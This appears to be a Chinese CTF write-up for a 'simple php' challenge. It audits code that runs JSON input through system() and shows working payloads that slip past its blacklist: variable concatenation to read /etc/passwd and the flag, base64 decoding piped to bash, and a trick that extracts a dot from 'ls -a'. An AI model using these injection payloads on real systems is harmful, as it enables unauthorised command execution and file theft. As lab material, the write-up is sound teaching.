simple php
代码审计一下
php://input伪协议传post的参
flag \ .. 都被加黑名单了
传入的参数会经过json_decode处理数据,这里的数据又会被if_safe来次黑名单检测,然后还要经过过一个比命长的正则匹配检测,还会把json_decode唯一会自动识别的编码方式ban了
如果都没有问题,那就会system直接执行命令,并且输出Ok.i seem to be safe!
一般的json: {"name":"Bob"} 这就是传的参数为name值为bob
然后开始做题:
不能编码绕过正则,又要符合json传参的格式,这里想了挺久才有点思路,思路是:
因为没正则检测 管道符,&,$ 所以可以利用拼接绕过正则去执行命令 测试一下:
{"cmd":"a=ca&&b=t&&$a$b /etc/passwd"}
成功执行cat /etc/passwd
这里有点要注意的是
网上的拼接绕过是这样格式的: a=ca;b=c;$a$b /etc/passwd
这个在linux上确实是可以成功执行的,可以去终端测一测
这里是正常输出了
这里我用的&&连接
到这里其实也差不多了,接下来一样操作把flag给拼接一下,符号.也有办法绕过
可以用正则去绕.号 比如:
{"cmd":"a=ca&&b=t&&c=fla&&d=g&&$a$b /$c$d[+-0]txt"}
还可以用base64编码去绕:
{"cmd":"c=Y2F0IC9mbGFn&&d=LnR4dA==&&a=bas&&b=h&&echo $c$d|base64 -d|$a$b"}
用管道符去base64解码,把这个过程当成bash命令执行
还有一个骚操作:取一个.号来用
{"cmd":"a=ca&&b=t&&c=l&&d=s&&e=hea&&f=d&&g=fla&&h=g&&$a$b /$g$h$($c$d -a|$e$f -n 1)txt"}
根据命令 :ls -a|head -n 1
ls -a 是列出当前目录下的所有文件和目录,包括隐藏文件
head -n 1 又是从ls -a这里获得到的 取第一行文件或者目录
关键就在于 一个目录里所有文件的第一行都是当前工作的目录路径 而这里恰好是.号
所以这个可以直接取到.号
三个方法 随便一个都行
Comments | 1 条评论
博主 I’m 肖神
彭神太厉害了